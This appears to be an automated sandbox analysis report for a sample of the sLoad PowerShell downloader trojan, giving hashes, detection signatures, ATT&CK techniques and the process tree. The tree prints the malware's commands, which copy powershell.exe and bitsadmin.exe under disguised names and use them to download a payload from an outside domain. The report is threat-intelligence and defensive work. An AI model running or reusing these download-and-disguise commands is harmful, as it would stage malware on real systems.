sload | 4508cbb75ae014ea3eb0f399340f4a03738889e4515a0e012f06d270f832f27a

Analysis

max time kernel
41s
max time network
47s
platform
windows7_x64
resource
win7-20220414-en
submitted
20-05-2022 15:28

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General

Target

FattDiffEmessa2020 00616840120.vbs
Size

4KB
MD5

df040acc717de01627876e0ee3fa86df
SHA1

de8d3e73eaa96d6dc3140b63808fd7fa316cdc08
SHA256

e96c29490b415926118a9342760a5060070e9dd415aee367cca7a0e5146a45fe
SHA512

9f563b9eea761dd6ef02db008a130ac207b2e610067489a29dac9f918cdda9ada9130e3b0e26aafb1653ded52f7080fbf2413fff3321c239db46b69839805db9

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
1204	uccBtRT.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 848 wrote to memory of 1140	848	WScript.exe	28
PID 848 wrote to memory of 1140	848	WScript.exe	28
PID 848 wrote to memory of 1140	848	WScript.exe	28
PID 848 wrote to memory of 1076	848	WScript.exe	30
PID 848 wrote to memory of 1076	848	WScript.exe	30
PID 848 wrote to memory of 1076	848	WScript.exe	30
PID 848 wrote to memory of 1204	848	WScript.exe	32
PID 848 wrote to memory of 1204	848	WScript.exe	32
PID 848 wrote to memory of 1204	848	WScript.exe	32
PID 848 wrote to memory of 1204	848	WScript.exe	32

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FattDiffEmessa2020 00616840120.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\puccBtRT.exe
  2⤵
  PID:1140
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\uccBtRT.exe
  2⤵
  PID:1076
- C:\Users\Admin\AppData\Roaming\uccBtRT.exe
  "C:\Users\Admin\AppData\Roaming\uccBtRT.exe" /transfer najtec /download https://nowyouknowent.com/werdona/00616840120/blank.css C:\Users\Admin\AppData\Roaming\blank.css
  2⤵
  - Executes dropped EXE
  PID:1204

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\uccBtRT.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit
C:\Users\Admin\AppData\Roaming\uccBtRT.exe

Filesize
182KB

MD5
0920b14aa67a8b04acf48ffe7c6f0927

SHA1
3421124253058dc21453ebac531b67aeb999f627

SHA256
838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00

SHA512
2b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51

Download Submit
memory/848-54-0x000007FEFBAA1000-0x000007FEFBAA3000-memory.dmp

Filesize
8KB

Download
memory/1204-60-0x0000000075941000-0x0000000075943000-memory.dmp

Filesize
8KB

Download